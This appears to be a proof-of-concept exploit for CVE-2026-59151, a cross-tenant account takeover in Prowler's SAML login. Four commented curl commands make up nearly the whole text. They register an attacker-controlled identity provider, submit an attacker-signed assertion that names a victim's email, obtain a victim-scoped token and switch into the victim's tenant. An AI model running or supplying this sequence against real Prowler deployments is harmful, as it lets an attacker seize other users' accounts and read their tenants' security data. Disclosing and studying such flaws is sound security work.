CVE-2026-59151: Prowler SAML Cross-Tenant Account Takeover

# Step 1: Attacker registers their own SAML config (attacker.com is their real domain).
curl -s -X POST "$API/api/v1/saml-config" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{"type":"saml-configurations","attributes":{
      "email_domain":"attacker.com",
      "metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>"
    }}
  }'

# Step 2: Post a SAMLResponse signed with attacker's key to the attacker's ACS URL,
# but asserting NameID = victim@victim.com. The server trusts the assertion.
# SIGNED_ASSERTION is a base64 SAMLResponse signed with attacker's private key.
curl -i -L -c c.jar -b c.jar \
  -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \
  --data-urlencode "SAMLResponse=$SIGNED_ASSERTION"
# Vulnerable pre_social_login() reads sociallogin.user.email = "victim@victim.com",
# does a global DB lookup, and calls sociallogin.connect(request, victim_user).

# Step 3: Exchange the issued SAML token for a victim-scoped JWT.
curl -s -X POST "$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID"

# Step 4: Switch into the victim tenant.
curl -s -X POST "$API/api/v1/tokens/switch" \
  -H "Authorization: Bearer $VICTIM_JWT" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{
      "type":"tokens-switch-tenant",
      "attributes":{"tenant_id":"<victim-real-tenant-uuid>"}
    }
  }'